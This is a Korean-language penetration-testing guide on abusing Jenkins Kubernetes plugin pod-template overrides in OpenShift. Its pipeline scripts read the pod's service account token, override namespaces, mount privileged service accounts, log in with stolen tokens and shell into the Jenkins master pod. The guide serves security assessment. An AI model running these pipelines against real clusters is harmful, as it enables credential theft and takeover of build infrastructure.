OpenShift - Jenkins Build Pod Override

이 페이지의 원 저자는 Fares

Jenkins용 Kubernetes 플러그인

이 플러그인은 Openshift/kubernetes 클러스터 내에서 Jenkins 코어 기능을 주로 담당합니다. 공식 문서 여기 개발자가 jenkins 빌드 pod의 일부 기본 구성을 재정의할 수 있는 기능과 같은 몇 가지 기능을 제공합니다.

핵심 기능

이 플러그인은 코드를 적절한 환경에서 빌드할 때 개발자에게 유연성을 제공합니다.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

일부 남용 사례를 활용한 pod yaml 재정의

그러나 Kali Linux와 같은 모든 접근 가능한 이미지를 사용하여 해당 이미지에 미리 설치된 도구를 사용하여 임의의 명령을 실행하는 데 남용될 수 있습니다. 아래 예에서는 실행 중인 pod의 serviceaccount 토큰을 유출할 수 있습니다.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

다른 구문으로 동일한 목표 달성.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

샘플은 파드의 네임스페이스를 재정의하는 것입니다.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

다른 예시로, 해당 이름을 기반으로 서비스 계정을 마운트하려고 시도하는 것이 있습니다. (기본 빌드를 실행하는 것보다 더 많은 권한을 가질 수 있는) 서비스 계정을 마운트하려고 시도하는 다른 예시가 있습니다. 먼저 기존 서비스 계정을 추측하거나 열거해야 할 수도 있습니다.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

동일한 기술을 시크릿을 마운트하려고 시도하는 데 적용할 수 있습니다. 여기서의 최종 목표는 파드 빌드를 구성하여 효과적으로 피벗하거나 권한을 얻는 방법을 찾는 것입니다.

더 나아가기

주변을 둘러보는 데 익숙해지면 Jenkins 및 Kubernetes/Openshift에 대한 지식을 활용하여 구성 오류/남용을 찾아보세요.

다음 질문을 스스로에게 던져보세요:

  • 어떤 서비스 계정이 빌드 파드를 배포하는 데 사용되고 있나요?

  • 그 서비스 계정이 어떤 역할과 권한을 갖고 있나요? 현재 있는 네임스페이스의 시크릿을 읽을 수 있나요?

  • 다른 빌드 파드를 더 상세히 나열할 수 있나요?

  • kompromised sa로 마스터 노드/파드에서 명령을 실행할 수 있나요?

  • 클러스터를 더 상세히 나열하여 다른 곳으로 피벗할 수 있나요?

  • 어떤 SCC가 적용되었나요?

어떤 oc/kubectl 명령을 실행해야 하는지 알아보려면 여기여기를 참조하세요.

가능한 권한 상승/피벗 시나리오

평가 중에 모든 Jenkins 빌드가 _worker-ns_라는 네임스페이스 내에서 실행된다는 것을 발견했다고 가정해 봅시다. 빌드 파드에 기본 서비스 계정인 _default-sa_가 마운트되어 있지만 일부 리소스에 대한 읽기 액세스 외에는 많은 권한이 없다는 것을 알아냈지만 _master-sa_라는 기존 서비스 계정을 식별할 수 있었습니다. 또한 실행 중인 빌드 컨테이너 내에 oc 명령이 설치되어 있다고 가정해 봅시다.

아래 빌드 스크립트를 사용하여 master-sa 서비스 계정을 제어하고 더 나아가 열거할 수 있습니다.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

다음은 빌드 스크립트에서 공격을 계속해야 하는지 또는 실행 중인 클러스터에서이 sa로 직접 로그인해야 하는지에 따라 액세스 권한이 달라집니다:

oc login --token=$token --server=https://apiserver.com:port

만약 이 SA가 충분한 권한(예: pod/exec)을 갖고 있다면, 동일한 네임스페이스 내에서 실행 중인 마스터 노드 pod 내에서 명령을 실행하여 전체 jenkins 인스턴스를 제어할 수도 있습니다. 이 pod는 이름을 통해 쉽게 식별할 수 있으며 jenkins 데이터를 저장하는 데 사용되는 PVC(지속적인 볼륨 클레임)를 마운트하고 있어야 합니다.

oc rsh pod_name -c container_name

만약 마스터 노드 파드가 워커와 동일한 네임스페이스에서 실행되지 않는 경우 마스터 네임스페이스를 대상으로 비슷한 공격을 시도할 수 있습니다. _jenkins-master_라고 가정해 봅시다. jenkins-master 네임스페이스에는 serviceAccount master-sa가 존재해야 합니다 (worker-ns 네임스페이스에는 존재하지 않을 수도 있음)

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated